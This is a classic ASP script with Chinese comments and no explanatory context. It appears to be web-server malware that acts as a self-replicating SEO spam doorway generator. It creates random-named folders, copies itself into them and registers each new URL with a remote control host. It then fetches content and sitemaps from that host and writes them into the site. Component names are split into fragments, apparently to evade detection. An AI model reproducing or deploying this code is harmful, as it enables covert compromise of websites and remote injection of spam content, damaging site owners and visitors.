<% Function getHTTPPage(url) dim objXML set objXML=server.createobject("MSX" & "ML2.XM" & "LHT" & "TP") objXML.open "GET",url,false objXML.send() '发送 getHTTPPage=bBytesToBstr(objXML.responseBody)'返回信息,同时用函数定义编码 set objXML=nothing'关闭 End Function // Function CreateFileDir(dir) set fso = Server.CreateObject("scripting.filesystemobject") If fso.folderexists(Server.MapPath(dir)) Then CreateFileDir=0 Else fso.CreateFolder(Server.MapPath(dir)) CreateFileDir=1 End If End Function Function bBytesToBstr(body) dim objstream set objstream = Server.CreateObject("ad"&"odb.str"&"eam") '//调用adodb.stream组件 objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" '转换原来默认的UTF-8编码转换成GB2312编码,否则直接用XMLHTTP调用有中文字符的网页得到的将是乱码 bBytesToBstr = objstream.ReadText objstream.Close set objstream = nothing end Function //------------------------------ PageNum=5 isRoot="ck" myname="c"&"k" control="http://hrlr.org" set fso = Server.CreateObject("scripting.filesystemobject") ' if fso.fileexists(Server.MapPath("content.asp")) and isRoot <> myname then filepath=Server.MapPath("content.asp") set fileConn=Server.CreateObject("Scripting.FileSystemObject") '建立Scripting对象 set fileOpen=fileConn.OpenTextfile(filepath,1,false) '打开文件并读取文件 while not fileOpen.AtEndOfStream '如果没有读到最后一行则循环 strtmp=fileOpen.Readline() filestr=filestr & strtmp & vbcrlf wend fileOpen.close '关闭文件 set fileConn=nothing '释放对象 set fileOpen=nothing response.write filestr Response.end() end if uri= Request.ServerVariables("URL") uri = Replace(uri,"index.asp","") url=Request.ServerVariables("SERVER_NAME") filepath=Server.MapPath("index.asp") set fileConn=Server.CreateObject("Scripting.FileSystemObject") '建立Scripting对象 set fileOpen=fileConn.OpenTextfile(filepath,1,false) '打开文件并读取文件 while not fileOpen.AtEndOfStream '如果没有读到最后一行则循环 strtmp=fileOpen.Readline() filestr=filestr & strtmp & vbcrlf wend fileOpen.close '关闭文件 set fileConn=nothing '释放对象 set fileOpen=nothing con=Replace(filestr,"ck","123") dim a for a=1 to PageNum step 1 RANDOMIZE randMath=Year(now())&Month(now())&day(now())&Minute(now())&Second(now()) Urls="" if isRoot = myname then OtherDir=randMath Urls="http://"&url& uri &randMath&"/" if a = PageNum then NowUrl="http://"&url&uri sitemap=getHTTPPage(Control&"/sitemap.php?host="&url&"&page="&OtherDir) Response.Write sitemap end if Else OtherDir="../"&randMath url2=Server.MapPath("../") url3=Server.MapPath(uri) nowdir=Replace(url3,url2,"") nowdir=Replace(nowdir,"\","")&"/" nowdir=replace(uri,nowdir,"") Urls="http://"&url& nowdir &randMath&"/" end if if CreateFileDir(OtherDir)=1 then CreateFile(OtherDir&"/index.asp") posturl=getHTTPPage(control&"/SaveUrl.php?url="&Urls&"index.asp") end if next if isRoot <> myname then NowUrl="http://"&url&uri Web="http://"&url con=getHTTPPage(Control&"/GetCon.php?url="&NowUrl&"&web="&Web) Response.write con CreateFile("content.asp") end if Function CreateFile(file) Set fso=Server.CreateObject("Scripting.FileSystemObject") If fso.fileexists(Server.MapPath(file)) Then CreateFile=0 Else createFile=1 Set f=fso.CreateTextFile(Server.MapPath(file),true) f.WriteLine con f.close set f=Nothing set fso=Nothing End If End Function %>